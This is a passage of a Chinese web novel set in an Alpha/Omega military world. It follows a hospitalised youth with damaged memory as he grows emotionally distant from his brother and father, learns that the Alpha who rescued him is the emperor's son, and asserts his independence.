海东青连忙爬起来,这下确认了小主人不想让它靠近,杏仁大的脑子也想不到更多,只怒气冲冲地朝着主人飞去,抬起弯如银月的尖利喙部,朝着唯一露出来的侧颈狠狠地啄下去! 时序不急不慢地扫过去一眼,上一秒还在兴师问罪的海东青,下一秒就被抗议无效地收进精神海里。 时序握拳,抵在唇边咳嗽一声,提起保温桶:“你刚醒,只能吃一点流食,这是你从小就最爱吃的玫瑰薏米粥,熬得软烂清香正合适——” “饿了吗?哥喂你。” 说着,时序拉出凳子坐下来,又解了袖扣把袖子挽到手肘处,动作优美地打开保温盒,拿出里面温度正好口感合适的粥和餐具。 他舀起一勺,凑近轻轻吹了吹,熟稔地递到时茧嘴边,却只得到一句淡淡的:“我不饿。不用。” “……” 时序默了一瞬,却也不坚持,把粥放到一边。 他顿了顿,倒也坦荡:“我从来也没有觉得你分化成Alpha是多么丢脸的事,到学校来那一次,其实也只是想鼓励你,因为我知道你无论哪件事都可以做到很好,但无论如何,当时忙于选举的我都始终没有注意到你的心情,这是哥哥的不对。” “对不起小茧,我应该更多站在你的角度考虑一点的,那时的你已经承受不了任何一点多的压力。” 除去在上议院开会或者答记者问时,时序鲜少如此长篇大论,他说完后等待着时茧的反应。 他想无论小弟是生气是谩骂,还是故意无视,难过哭泣……他预想了很多有可能发生的情景,但他唯一没有想到的就是,时茧比他还平静地说出那句没关系。 平静得,就好像他们并非血脉至亲,而只是两个萍水相逢,然后在人群中各自点点头这样的关系。 时茧甚至并没有看他,只是看着前方的天花板,声音又低又淡:“你没有错,不必为此感觉到抱歉。” 但偏偏时茧说完这句“不必抱歉”之后,时序的心脏陷入了某种丝丝缕缕的刺痛,并不强烈,亦不致命,却酸涩难忍。 第60章 第 60 章 哥哥不喜欢我这样吗?…… 这比时茧委屈地哭出来, 或者愤懑不平,歇斯底里,都更让时序无所适从。 时茧性格骄傲, 他这样的出身、这样的等级, 注定了他会耀眼夺目地过一辈子,但其实私底下在和家人相处时, 他一直都很乖, 很听话。 即使时序大他十岁出头, 年龄的鸿沟摆在那里, 能够陪伴他的时间并不多, 时茧也从未有过什么怨言, 在时序半是玩笑话半是真心话地酸他和温隅安亲近时, 总会一本正经地强调哥哥和养兄是不一样的, 他很喜欢哥哥, 只是哥哥总不在身边。 眼下, 时茧依旧乖巧安静, 面对自己的道歉, 也只是轻飘飘地就揭过了。 这本来该是时序所希望的,他那么忙,议会有开不完的会、改不完的提案, 一天24个小时,往往要当25个小时用, 连这次过来看时茧的时间都是硬生生挤出来的,时茧表现得这么云淡风轻,好像从来没放在心上过,时序本该感觉到安心,这口气松下来后, 又继续若无其事地忙他的事业。 可时序却反而计较起来,时茧不应该这么大度,不应该这么轻轻巧巧的就原谅了自己。如果什么事都能像时茧小时候不高兴买个蛋糕那样轻松哄好,那他娇生惯养宠大的小弟,这大半年来吃过的苦受过的委屈,又有谁来在意和弥补? 连他自己都放弃了替那个被苛待的自己,到底还有谁能够看见他那些彻底不为人知的痛苦和挣扎。 时序脸色苍白,他做了一个很可怕的假设。 在期待时茧能够长成一个优秀的人之前,他最希望的是,自己的小弟能够永远快快乐乐、无忧无虑的长大,但残酷的现实告诉时序,这个愿望已经彻彻底底地破灭了,被时茧最亲近的人,比如他,比如时藏锋…… 他们曾经千辛万苦看顾着才长得郁郁葱葱的小苍兰,正结着娇嫩的花苞,快要开放了。 又因为他们而枯萎。 时序忽然涌上一阵深深地厌恶,就在他来之前,他思考的居然仍旧是计划时茧的病房待多久,该怎么措辞道歉,时茧不原谅又该怎么办,需不需要挪更多时间出来。 他自己都不明白,到了这一步田地,他为什么还能理智到让自己作呕的程度,他究竟是来真心实意地毫无杂念地道歉,还是希望通过道歉这种方式挽回兄弟间分崩离析的感情,以便家庭稳定不影响自己工作? 时茧的视线落到时序身上,静静地看了他一会儿后,一句话让时序彻底崩溃,不知道该怎么待下去。 “我没什么事,你去忙吧。” 时序心如刀割。 时茧知道,时茧一直都知道,哪怕他的想法这么冷血,他也还是装作看不出来掩藏在装腔作势之下那个腐烂发臭的、让人不喜的自己。 时序几乎就要维持不住自己冷静的伪装,他强忍着酸涩,很勉强地公式化地笑起来,颤抖地声音却已经完全出卖了他。 “没事,哥哥再陪陪你。” “你的工作不要紧吗?” 时茧的语气很平常,却让时序鼻尖一酸——他一个将近而立之年的事业有成的男人,早已经不知道眼泪是什么东西,偏偏此刻在小弟身上,他久违地感受到一种无法抑制的潮湿。 时序强颜欢笑:“比起工作,还是弟弟更要紧一点吧。” 时茧没说什么,只淡淡地应了一声,又发呆地看着天花板。 时序看不懂他。因为那双眼睛里,现在已经不那么愿意装下他了。 本该亲密无间的兄弟却彼此沉默良久,按以往该是时茧主动找一些话题,时序会耐心地和他聊天,指导他想不明白的地方,但现在小弟快要成年,经历了太多他没经历过的事情,已经不再需要一个年长很多的哥哥的建议了。 他们之间很少有这样谁也不说话,也不做什么的独处时间。 但时序发现,和时茧待在一块儿,即使算是荒废时光,也让他有一种难得的轻松。 时茧不想和他说话,那也没关系,他时不时地分享一些上议院最近通过的法案,偶尔提一下中心区哪里的餐厅味道很好。 大多数时候,时序只是沉默地、担忧地望着时茧,任由心底生出的后悔如藤蔓般疯长,紧紧地缠搅着他的每一处器官。 直到时茧的吊瓶快空了,进来换药的护士才打破这份沉寂。 “恢复得很好,今晚这瓶营养液打完之后,就可以逐渐恢复正常饮食了。” 然后时序便看见对他态度不冷不热的时茧对着护士很温柔和善,唇角带着礼貌地微笑:“谢谢。” 时序莫名地,就有些不舒服。 小弟不是从来都只对家里人和颜悦色,对其他人不假辞色么?为什么冷落哥哥,却对一个萍水相逢的陌生人笑? 这位素来被称作亲民的有史以来最年轻的上议院议长,在护士因为被他看得太紧张而弄洒了一点药水时,展现出了他极少会出现的咄咄逼人的一面:“这么不小心吗?弄到病人伤口或者眼睛里怎么办?” 护士连声道歉,急得有些要哭出来,说对不起的时候都带上了一些鼻音。 时茧有些诧异地看了一眼抿着唇盛怒中的兄长,混乱的记忆里,他的亲生哥哥比养兄情绪更加淡薄,职业使然,他几乎从不会在人前随意展现出自己的喜怒,早已锤炼得不形于色。 可却莫名地对着一个只是出现小失误的护士发难,细细观察下来,甚至说是泄气也不过分。 可他为什么要这样做? 时茧是真的想不明白。 “没事,没弄到我身上,以后多注意点就行了。”时茧安慰护士,得到一个感激的眼神。 时序不再继续施压,只是脸色比至少还要难看。 护士夹在兄弟俩之间,小心翼翼地换完吊瓶,又小声地说了几次抱歉,才在时序令人心慌的眼神中推车退出病房。 人走之后,时茧看向兄长:“你吓到她了。” 时序硬梆梆地反问:“我需要向她道歉吗?” 时茧没有回答。 时序忍受不了这种过分明显的疏远,从时茧醒来,他就像变了一个人,变得不再是他的弟弟。 “你如果还是生我的气,你就直接冲着我来,无论怎样控诉我,还是希望我能为你多做一些补偿,我是你一母同胞的哥哥,我都愿意为我的错误承担责任,只要你能把气发泄出来别憋在心里。”时序将忍了许久的真心话一股脑说出来,“但我受不了你这样区别对待,有什么话和哥哥好好说,好吗?别不理哥哥。” 时茧很疑惑:“我不理你?” 时序被他噎住,回头一想,时茧还真没有不搭理他过,只是这种寡淡的情绪相比从前,实在稀薄到让人不安。 时序怕弟弟以为自己在指责他,又改口解释道:“没有……是我说错话。我的意思是,你以前对哥哥不是这样的。” 时茧问:“可哥哥以前对我是这样的。我以为你会喜欢这种相处方式。” 时茧的话好像变成了一颗颗子弹,呼啸着穿过时序的额头,让他反复地体会到生不如死的痛觉。 他的瞳孔因为怔楞而微微放大,不敢相信自己听到的,时茧平静的话、平静的表情,有关于过往的一切,都像有人拿着把生了锈的钝刀子在他心尖上一寸一寸地割,非要让他痛得鲜血淋漓才罢休。 时序不知道自己还应该说些什么,他在记者面前是如此巧舌如簧,永远不会让自己陷入语言编织成的陷阱里,可时茧只是简简单单的一句话,就让他这么多年练出的定力破碎得干干净净。 他只能反复地喃喃地说着抱歉,就像刚刚那个惶恐不安的护士一样,又不一样,护士是真的做错事,又被自己揪住不放;可他呢? 他做错了事,不是已经被时茧原谅了吗?他为什么还是无法得到宽慰,为什么无法心安理得的像以前那样离开? 时序想不明白,人类的情感比白纸黑字的文件复杂太多,他只知道时茧给予自己的反应如同一种名为凌迟的酷刑,手无寸铁地在至亲的一个眼神里、一句话里被反复切割,好痛、好痛…… 小茧,受伤的是你,哥哥为什么会这么痛? 时茧一直说没关系,他过去因为分化所受的苦、在第一军校遭到过的欺凌,这些的确都与时序没有任何关系,他并未推动过一切,只是一个旁观者,冷漠地认为他可以适应Alpha的身份,冷漠地旁观未施以过援手,所以时茧从未恨过他怨过他,现在他的记忆受损,很多事情想不起来,时间线也非常混乱,对时序就更加没有多余的怨怼。 只是也没有多少期待了。 不过时茧想,哥哥一直以来也是如此,想来他应该不会因为自己如今无法再热络地对待他而感受到落差,他们依旧像从前那样做一对并不亲密的兄弟,这也没什么不好。 所以时茧现在很疑惑,为什么哥哥会不喜欢自己的态度呢? 他已经长大了,可以适应Alpha的生活,不打算黏着他了啊。 这一切不都是哥哥希望的发展方向吗?可他为什么用这么伤心又无望的眼神看着自己?【你现在阅读的是 】 60-70 第61章 第 61 章 记忆紊乱。 时茧的问题终究无解, 他们之间没有了时茧的主动,终于也沦落到长久的无话可说的地步。 时序在这种折磨人的沉默里又煎熬了半个小时,直到助理掐着点不得不来催促他, 才犹豫地起身。 时序做事向来干净利落绝不拖泥带水, 然而这次明知定下的会议时间马上就要到了,政商界上百个有头有脑的人物都等着他去主持大局, 却从未有过的拖拉磨蹭。 他在缓慢地站起身的那几十秒里, 满脑子想的尽是, 如果时茧出声叫住他——哪怕只是随便喊一句哥哥——那他今天一定留下来, 无论会因此而付出什么样的代价。 可惜直到走出病房门, 时序频繁回头, 都只能够看到病床上少年精致病瘦的下巴, 在午后光影的衬托下勾勒出凌厉的轮廓, 像一片摔碎了的白瓷, 漂亮、极端、又极易破碎。 他忽然站定, 对助理胆战心惊的小声提醒置若罔闻, 而是无比专注地看着这一幕, 目光有些贪婪,好像永远也看不够一样。 许久之后,也可能是几个呼吸之间, 时茧感受到落在身上的目光骤然减轻,当他偏过头看向门口时, 那里原本站立的人影不知何时已悄然离开。 他感到一阵轻松,像一片纷纷扬扬随意落下的羽毛,也不可遏制地生出点儿怅然若失,总觉得自己对于兄长的感情似乎哪里少了一块,不完整、不连贯, 更不热烈了。 但这样也好,他知道哥哥总是很忙,因为自身优秀,所以也总对他抱有让人喘不过气的期待,而他一直都害怕被那双眼睛失望地看着,而现在他发现自己再也不害怕和哥哥对视了。 反倒是哥哥,一向强势的眼神,有些时候在对上自己的时候,反而会挪开。 时茧敏锐地感觉到哥哥似乎在愧疚些什么,他不太懂,难道哥哥是第一天知道他分化成Alpha,又是第一天知道他受了些欺负吗?如果愧疚的话,为什么要这么晚呢? 晚到他已经不需要这份愧疚了。 时茧静静地待了会儿,脑子缓慢地运转着,想梳理一下自己完全断成珠子的断断续续不成片的记忆,然而只是刚动这个念头,他的腺体、身上的伤口,以及脑海深处,都像是有一千根、一万根银针慢慢地扎进去、又慢慢地在里面旋转,痛得他立刻流下两行眼泪,把纯净的蓝色眼珠浸泡得仿佛蓝宝石一般清透澄澈。 他的反应也变得很迟钝,慢放动作一般双手捂住头,慢慢地垂下去,迟钝得不像是那个一把匕首能把A+Alpha杀得丢盔卸甲的人。 缓了一会儿头不那么疼了,眼泪也干在脸上,把皮肤崩得紧紧的。时茧抽出湿纸巾擦了擦,像小猫吐口水在爪子上胡乱洗脸那样,有点天然呆的可爱。 他完好无损的时候绝不会露出这样又呆又钝的一面,绝大多数时候他都既聪明又高傲,光看眼神就该清楚这是个容不得算计和欺辱的人,偏偏现在记忆受损,就像存档重开了一样,对新展开的剧情有些无所适从。 时茧接连应付了时序和温隅安,精力明显支撑不住,躺回被子里闭上眼休息。 他浅眠的时候,一个清醒时特别想见到的人无声地出现在特护病房的玻璃窗前,身边是这座联邦最好的医院里最权威的神经科医生。 老医生头发花白但精神抖擞,语速慢得好像拄着拐杖走路,但又莫名让人很是信服,好像名医大师就该这么说话才医术精湛一般。 “不清楚具体是什么情况导致的躯体机能过载,从而引发了神经元紊乱,症状通常体现在性格较从前略有反差、记忆混乱等方面。而根据我的推测,诱因可能是这次任务中遇到危险突然爆发透支了异能和精神力,导致身体负荷不起;也有可能只是因为单纯的外伤导致。” 时藏锋注视着一窗之隔后安然入睡的时茧,安静地倾听着看老医生的分析,时而应和一声,但绝不多话。 威风凛凛的美洲角雕此刻正蜷缩爪子立在时藏锋宽阔的肩膀上,像抓树枝一样,狠狠地将弯曲锋利的指甲抓进男人的皮肉之中,故意报复主人。 老医生也怜惜地看着病床上睡颜安然的少年,叹息道:“目前的医疗手段只能保守治疗,期望他自身的修复能力足够强大,否则如果强行进行医治,恐怕只会适得其反,可能会造成更加严重的后果,比如记忆彻底崩盘,精神面临崩溃。” 时藏锋这次没再沉默:“不用强制干预,实在记不起来也没关系。” 反正这近一年以来,也没有什么太好的经历值得他回忆。 “还有一件事。”老医生踌躇片刻后,还是选择全盘托出:“令公子的腺体有些奇怪,研究室提取了几次他的信息素萃取液,都没有分析出他目前究竟是Alpha还是Omega,可能是因为爆炸的辐射影响到他的身体,导致本来就不稳定的基因重新开始活跃,也许他又一次进入了‘分化’,也许是他的二次分化本就不够彻底。至于未来会是什么性别,这个我们也不能够保证,只能希望阁下尽早做好心理准备。” 有关于时茧的分化问题,时藏锋比任何人都更加清楚,但他并未说破,只应声点头,声音沉闷:“嗯,辛苦你们。这个消息目前还请不要随意外传,幼子尚未成年,又遭遇如此变故,无论是让他知道、或是让外面的人知道,终归对他的病情都没有好处,希望老先生能替时某暂时保守秘密。” 老医生忙说担不起,承诺道:“您放心,这件事绝不会再有第三个人知晓。” 然而连一个神经科医生都能够看出来的分化问题,那些经验丰富的腺体科医生稍微一试探,又如何发现不了呢。 更何况时茧就是一个活靶子,他身边绝不会少了心怀鬼胎之人,从时藏锋做出要隐瞒时茧真是分化性别的决定开始,甚至早在他小时候收到的第一份基因等级极端崇拜者的骚扰邮件时,他就知道这个世界对于他的儿子来说,一点都不安全。 肩膀上的美洲角雕狠狠地抓了一下时藏锋的肩膀,剧痛下,男人思绪回笼,目光也转移一分到老医生身上:“除此之外,他的身体没有大碍吧?” 老医生笑着说:“就是记忆方面比较棘手一些,身上那些外伤倒还在其次了,好好将养着应该很快就可以下地。” 其实说来也奇怪,时家小少爷分化成E级Alpha的事在上层圈子里闹得沸沸扬扬,几乎所有人都深深相信他已经被家族抛弃了,否则怎么会被自己亲生父亲放逐到第一军校去? 在今天之前,老医生本也以为传言不虚,然而当他真正和时藏锋接触过后,虽说这位杀伐果断的第九军区总指挥官常年面冷心狠,喜怒不形于色,交谈间似乎也没有表现得非常在意这个小儿子,可一些细节处,他却还是推翻了对这位阁下的初印象。 真要是虎狼之父,只因二次分化等级不如预期就对亲生孩子不闻不顾的人,又怎么会对这孩子的病情和身体状况了如指掌呢。 若果真像外界所说,时藏锋及其家人都羞于提起这位小少爷,又为何接二连三挤出时间来探望照顾?况且依老医生看来,一头热的明明是这一家子大的,那个小的反而有些冷冷淡淡、爱答不理,真实情况完全就是反过来了嘛! 只是别人家事,老医生哪怕再好奇,总也不好当面八卦,一阵咳嗽拍胸才压下这股与他年龄不相符合的好奇心,饶有兴致地问时藏锋:“阁下不进去看看吗?” 说这话的同时,老医生也在察言观色,发现不苟言笑的时上将在听见他这句话时,坚毅的眼神似乎颤动了一下,流露出某种隐晦的动容。 老医生几乎以为对方马上就要答应下来,然而后者只是小幅度的摇摇头:“我的等级太高,贸然接近会影响到他的腺体,到时候受罪的还是他自己。” 这倒也确实,老医生是个不受Alpha或者Omega信息素影响的Beta——在联邦,医生这个职业为了手术时的稳定也大多都是Beta——按理说他不应该受到时藏锋信息素的影响,然而对方S+的基因等级,几乎已经是联邦几十亿人顶端的几人之一,在他面前老医生仍旧能够感受到一种发自本能的威压。 哪怕他年纪更大,足以做时藏锋的父亲辈,交谈时都不自觉要带上一些敬语。 就更别说目前正处于意外“分化”之中、腺体极不稳定的时茧了,他根本受不得一点刺激。 老医生叹了口气,“也只能希望令公子能早日稳定下来,能够分化成稍高等级一些更好,这样不至于父子之间想要亲近一点都叫人为难。” 时藏锋脸上看不出任何情绪,附和道:“是。” 他看向时茧,在看清楚少年苍白的脸蛋后,垂在双侧的手慢慢握紧:“相信这一天不会太远了。” 第62章 第 62 章 那我不做你的儿子呢?…… 时茧睡到快醒时不太安稳, 他总在做有关于河流、有关于末日景象的噩梦,在那样的场景下他永远都是毫无反抗能力,永远都是等待着被保护的角色。 他在痛苦中惊醒, 一看还在四面雪白的病房里, 顿时又松了口气。 外面天色已暗,鸟鸣声都安静了下来, 时茧掀开被子, 动作牵扯到身体各处的伤口隐隐作痛, 但还是想下床去找顾识云。 他的记忆虽然已经碎成片段无法连贯, 可爆炸来临时的一幕仿佛刻在了他的脑海里, 即使不刻意去想也总是崭新地浮现在眼前。 白发Alpha赤红双眼, 从逃生的方向折返回来, 在火焰即将吞没他们的前一秒用尽全力一跃而上, 把他接在怀里紧紧护住, 挡下爆炸中心最为致命的冲击波伤害。 他们落地的同时, 整个地下城也在支离破碎, 无数巨石拖曳着火焰坠下, 仿佛一片灿烂明亮的火流星。光影明灭之间,时茧艰难地抬起头,Alpha坚毅的下巴上满是鲜血。 时茧因为透支异能而无比孱弱, 但顾识云无论何时坚定地保护着他,哪怕滚烫的巨石一块块落在他头上, 几乎就要把他活埋,顾识云仍旧将时茧圈在最安全的地方,一张嘴就漫溢出鲜血,却依旧微笑着,用平稳的声线安慰时茧:“不要害怕, 有我在。” 时茧昏昏沉沉,其实听不太清楚顾识云都说了些什么,也没办法回应他,只是努力地、认真地睁开眼睛,想要看清楚这个为了救他宁愿豁出性命的Alpha。 他们明明非亲非故,更没有任何一点逾越的关系,可偏偏就是他,一次又一次地挽救他于水火。 在意识混乱的时刻,时茧的某一个认知却无比清晰。他想,这个世界上应该不会再有另外一个人,能够比顾识云更爱他,无论他基因等级高还是低、受人欢迎还是人人避之不及。 ——应该是爱吧。在顾识云差点付出生命的代价后,时茧才后知后觉地意识到,顾识云是爱着他的。 从他进入无比抗拒地第一军校开始,从他们在思过楼初见开始,顾识云就一直在用自己的方式,默不作声地、毫不起眼地陪着他,帮助他。刚开始认识时他还笑顾识云像个冰块,年纪轻轻也学得像他父亲那辈人一样苦大仇深不苟言笑,但谁能想到,谁会想到,这样一座看起来永远也不会为谁融化的冰山,其实早在撞到时茧的小船时就从中裂开缝隙,日积月累地扩大成一条溪流,叮叮咚咚地流淌着的全都是深埋山底不为人知的爱意。 若不是顾识云为了他命都不要,足够震撼到犹如一把锤子打碎了一切自欺欺人的保险箱,让时茧无比清楚地意识到他爱自己这一点,那就连时茧自己,也差点就永远都不会知道那座冰山曾经为自己融化过。 现在他知道了,知道顾识云喜欢自己。 只是他还没来得及搞清楚自己对这个Alpha究竟是什么情感,他想去找到顾识云,把这件事也彻底弄清楚。 但刚下床,还没能多走几步,特护病房外时刻待命的副官见状吓得魂飞魄散,忙冲进来扶住时茧:“你再走几步都快散架了!快躺回床上去!” 时茧没动,只是问他:“顾识云呢?” “谁?”副官一脸茫然。 “……忘记你早就从第一军校毕业了。”时茧换了个问法,“救下我的那个Alpha呢?白发的,S+。” 副官恍然大悟,旋即又有点儿小心翼翼地观察着时茧神色,都快摇摇欲坠了还惦记着要去见一个Alpha,看来两人关系非同小可啊。 他斟酌了一下,尽量避重就轻道:“哦,你说那个Alpha啊,当时救援部队把你们从废墟里挖出来的时候他一直护着你,所以伤得也更重,后续还要再做几轮手术,人也一直都是昏迷的,现在这种情况不适合去探望。但你也不用太过于担心,S+级别的Alpha自愈能力极其强大,别说是被炸了被石头埋了,他就是手臂被砍断都能够接上,目前还算稳定,没什么性命之忧的。” 时茧却很坚持:“我要去见一面,问清楚一些事。” “什么事这么重要?比你身体还重要?”副官好声好气地哄着,“等再过两天,你的伤势恢复一些之后,我再带您去找他好吗?” 时茧一句话堵得他哑口无言:“你送我去第一军校的时候,也承诺学期末会带父亲和兄长们一起接我回家,但我一直没有等到,现在我也不想再等了。” 副官尴尬地摸摸鼻子:“呃……这个嘛……” “带我去。” 副官只好说实话:“您说的这位Alpha在抢救手术结束的当晚就被转移到其他地方了,现在睡也不知道他究竟在哪里,甚至是生是死都无从得知。有关此事我也问过上将,他对此讳莫如深,我也就不好再继续追问。” 时茧的脑海中像是瞬间有道闪电劈下一般,剧烈地疼痛起来,捂住额头踉跄几步,险些摔倒。 副官忙扶住他,满脸懊丧地说:“我能理解您的心情,那个Alpha估计是个很好的人,不然也不会舍命救您。但他来头不小,背后势力可能不亚于第九军区,您贸然与这种人接触,最后吃亏的说不定是您自己。” 顾识云背景不简单这件事时茧从一开始就知道,他最初以为这是父亲派来暗中保护他的,只是后续种种又让他凭借直觉推翻了这个猜测,但无论顾识云究竟是哪一方势力,哪怕现在有人指控他是某个极端组织的成员,也和时茧想要去见他一面并不冲突。 时茧声音虚弱,语气却十分坚定:“你让开。” 副官心一横,说着冒犯,抱起他放回床上:“您现在浑身碎得就跟个玻璃娃娃一样,轻轻一砸就四分五裂了,我有几个脑袋够掉的,敢放您出去?您也就别为难我了,要不等上将来看您的时候,您把这个要求向他提一下吧。” 副官本以为搬出时藏锋这个终极大杀器,这小少爷估计就不闹腾了,毕竟连把他送去第一军校那次,即便他百般不情愿,但只要一提到时上将,这叛逆不服管教的小少爷就立刻乖巧地像只小猫。 但他没想到的是,这招居然不管用了! 小少爷提起到他敬爱的父亲时,不仅眼睛里没有了那种忐忑、期待的光芒,甚至就连语气,都冷冷淡淡的,还不如刚刚提起那个不知名Alpha时显得在意! 副官直觉轰隆一声,天都塌了。 “那你把我父亲叫来,我亲自问他。” 父亲????这这这,一般只有大少爷二少爷才会用这么生疏的称呼啊!!!! 小少爷什么时候用过!他一般不都是带着孺慕亲昵地喊爸爸么! 副官战战兢兢:“呃……这个……上将他……” 话音未落,一道低沉严肃的男声在病房门边响起,让副官顿时长长地松了口气:“付山,你先出去吧。” 副官忙讪笑着光速离开,躲到走廊上后还不忘将门拉上,回想起小少爷突兀的变化依旧胆战心惊,不禁拍了拍胸膛安慰自己病人情绪不稳定是正常的。 总不可能小少爷被炸一下,突然就给炸正常了吧!他正常了那时上将可就要疯了! 时茧本来挣扎着又坐起来想要下床,听到时藏锋的声音后,仍旧不自觉地停了下来,抬眼静静地看着他向自己走来,而后抬起手,把他轻轻地按了回去。 那双手还戴着皮质手套,时茧能闻到淡淡的皮革掺杂着烟尘的混合气味,就如同时藏锋这个人本身给人的感觉一样,威严、沉默、复杂,一两句话很难说得清楚。 他不再尝试起来,收回视线,低声喊道:“父亲。” 时藏锋嗯一声,“好好休息。” 男人的手掌宽厚,隔着一层手套放在时茧的肩膀上也仍旧滚烫,时茧感觉到一种不自在,忍不住往里面缩了缩,避开那道大掌的钳制。 时藏锋动作微顿,但并未深究,只是从善如流地收回手:“你想知道那个Alpha的去向?” 时茧无声点头。 时藏锋说:“他很安全,只不过暂时无法公开露面。” 时茧问:“他在哪?” “你想去见他?” “他救了我。” “那个地方常人不得随便进出,哪怕是军政两届达到一定职级的相关负责人,没有提前预约和批准,也照样无法进入。” 时藏锋简单几句描述,时茧就已经猜出来了顾识云的背后势力,直言不讳道:“他就是在地狱,我想见他,我也会去的。” “你为什么那么执着于这件事?” 时茧坦然回答:“第一,他不顾生命危险救了我;第二,我需要弄清楚一些事情。” 时藏锋的鹰眸里罕见地流露出一些不赞同:“他隐瞒你真实身份这么久,本质上是一种欺骗,严重一点来说也可以称得上是傲慢,我不认为这种人有什么值得深交下去的必要。” “您同样也认为我没有必要抗拒去第一军校不是吗?”时茧直视着时藏锋的眼睛,只有他,会不惧怕这个令无数异种闻风丧胆的杀神,“您还认为我对于余宸的报复没有必要。” 他问,“那在您眼里,什么是必要的?” 时藏锋不置可否。 时茧又问:“我是E级Alpha,以前父亲不让我和你距离太近,可现在父亲就坐在我床边,难道不会担心基因等级压制吗?” 时藏锋言简意赅:“我打了抑制针剂。” 副作用不小的针剂。 时茧不久前刚被打过,知道能有多难受。因此在听见时藏锋这么说的时候,他的眼睛轮廓明显变大,显得有几分震惊。 时藏锋话有所指:“毕竟你也不会听其他人的话。” 时茧抿抿唇,不说话。 “也许等那个Alpha痊愈后来找你,会主动说明他的身世,但作为父亲,我想我也有一定的责任在他之前提醒你这件事。”时藏锋语气平淡,说出的话却令时茧震惊,“他姓顾,对么?一个东方人的姓,和我们没有什么区别,然而只是皇帝陛下有意为之,借此削弱姓氏会带来的光环。” “实际上,他真正的名字,或许应该冠以诺曼这个姓氏,如同他的父亲、当今联邦的皇帝,尊名阿比斯·诺曼。” 哪怕时茧早已做好了心理准备,也绝没有往这种方向想过,这实在是…… 太惊世骇俗了一些。 谁能想到从来都不显山不露水,除了执行作为纪察部部长一职职责外,在第一军校低调得像一个透明人般的顾识云,居然—— 居然会是这样声名显赫的身份。显赫到即使是同一个阶级的时茧,也会为此而惊讶的地步。 也因此,时茧明白了顾识云为什么从不提起他的家世背景,却又在那个小摊上,对皇室发售的纪念匕首侃侃而谈。 真相其实早就有过蛛丝马迹,他也一直有所留意,只是当结果没有板上钉钉地被宣告时,人总是不太愿意去相信那个看起来非常不正确到惊世骇俗的结果。 时藏锋观察着时茧的表情,除了一开始的惊讶之外,再没有其他任何诸如被欺骗、被蒙蔽的愤怒,并且很快就平静了下来。 他有一丝不解。 他本来以为捅破这件事,至少会让他这个过分天真愚蠢的孩子意识到不是家人让他失望,就可以把满心希望寄托给外面心怀鬼胎的人。 但时藏锋也没有蠢到直截了当问出来,只是告诫时茧:“你没有必要——好的,也许你不喜欢这两个字——不要和那个Alpha接触太多。皇室是注定会被时代发展取缔的昨日黄花,即使在我看来阿比斯为联邦做出的贡献已经足够多,但这种皇室制度在当前社会就是不健康也不科学的,总有一天他们会遭到清算,如果那个时候我还活着且是主力军,你作为我的儿子,又和那个Alpha牵扯过深,你会很痛苦。” 时茧突然笑出了声:“那我不做你的儿子,这个问题是不是就迎刃而解了?” 时藏锋被狠狠噎了一下,哪怕是时茧也极少能够看见他如此吃瘪的表情,而且明显是有些动怒的,只不过很快又压了下去,带着几分无奈道:“你的冷笑话讲得还不错。” 时茧的笑容回落,没有就这个话题继续发表自己的意见,但只有在说出那句话一瞬间的他最清楚,那并不是一句玩笑话。 时茧的的确确不太需要亲情这种东西了,他在鬼门关走了一遭,又遇上记忆断裂这种变故,连自己未来究竟是Alpha还是Omega都不清楚,哪里还有精力在乎父亲和哥哥们究竟在不在意他这种无聊问题。 只是时藏锋显然还没有意识到,他眼中单纯容易受骗的幼子,早就已经不那么需要他的保护了。 第63章 第 63 章 我不能恨你。 时藏锋活了四十几年, 还是头一次有这种微妙地生闷气的感受,具体表现为他不想再和时茧围绕“顾识云”这个名字进行任何讨论,生硬而又拙劣地岔开了话题。 “伤好后跟我去第九军区疗养, 暂时不用回第一军校。” 时茧的眼神里流露出几分意外, 但也没持续多久,拒绝了这个放在记忆受损之前也许会答应的要求:“我已经习惯了第一军校的生活, 六点早起跑操做体能训练, 三餐饮食清淡寡素, 每天高强度的对抗练习, 不做晚训就睡不好觉……诚然一开始我的体质接受不了这么高强度的训练量, 脚心的水泡总是磨破了又长出来, 但多痛几次自然也就适应了。您和哥哥们当初说得很对, 没有什么环境是人适应不了的, 哪怕那对我而言堪称地狱, 但待久了自然也就习惯了。” 时茧的语气里没有怨怼, 只是平静地看着时藏锋的眼睛, 并未刻意去寻找, 但仍旧看见男人的瞳孔有一瞬间的收缩。 他明白,这些事时藏锋一定早就知道,毕竟他身边被安排了那么多人, 他在第一军校的一举一动都被父亲收入眼底。只不过通过别人口中了解到的,和从自己孩子这里听到的, 多多少少还是会有所不同,他受了这么多大大小小的罪,他的父亲哪怕再厌恶、再看不起他,毕竟曾经那么视若珍宝、捧在手心里过,总还是会那么一点触动, 或者说得再严重点,也会有那么点儿心疼他。 但时茧不会希冀时藏锋有更多的后悔,更不会幻想他会在自己面前痛哭流涕,这些事说起来的确委屈,哪怕记忆其实已经不那么清晰了,时茧的心头也还是会生出一种模模糊糊地钝痛—— 可除此之外会因此而牵连出的更多的感觉一概都没有了,随着那些日积月累的失望和地下城的爆炸,都被大火付之一炬。 现在的时茧,对于温隅安,对于时序,也对于时藏锋,对于其他任何曾有过情感寄托的人,都不难过,也不期盼。 他能够做到完全心平气和地同时藏锋平等地对话,不必希冀、也不必孺慕,不再将自己放在一个等待被允许被接受的位置。 “一年前您强逼着我去第一军校的时候,您和哥哥们说我不够成熟,不够理性,这的确是实话,大多数时候我忍受不了他人的定点冒犯,骄傲、冲动、不可一世;我以为我是时家的掌上明珠,但被扔去第一军校的时候,我才逐渐意识到我可能只是一颗浊珠。” 时茧已经将近成年,声音既有着少年人的清亮,也更多出几分沉稳来,至少现在的他在与人对视时,慢条斯理的语速非常容易令人信服,连时藏锋这样对待下属严苛到吹毛求疵的人,都不得不承认,即使以他这种挑剔的眼光看来,他那个娇气包一样爱哭爱撒娇的小儿子的确已经成长到一个足够让他们平等谈话的地步。 时茧说:“我是一颗浊珠——但如您所见,您所期望的第一军校作为一块粗糙好用的磨刀石,历经种种后,现在的我不用再是谁的掌上明珠,我就是我自己皇冠上镶嵌的那颗明珠。” “我长大了,父亲。” “您不能再用‘你还小’、‘你不成熟’、‘我是为你好’这样幼稚的每个长辈都爱用的话,来随意地向一个成熟的人而非孩子提出那些天马行空的要求,您不能够随心所欲地想让我去第一军校我就必须去,想让我去第九军区我也得全盘接受。我现在明确地拒绝您,比起待在你的身边,我更愿意回到第一军校,那个您所说过可以磨炼我的地方。” 他声音极轻,像极了一片没有重量的羽毛,然而落在天平的一头时,却重若千斤,挑战着天平另一头的权威。 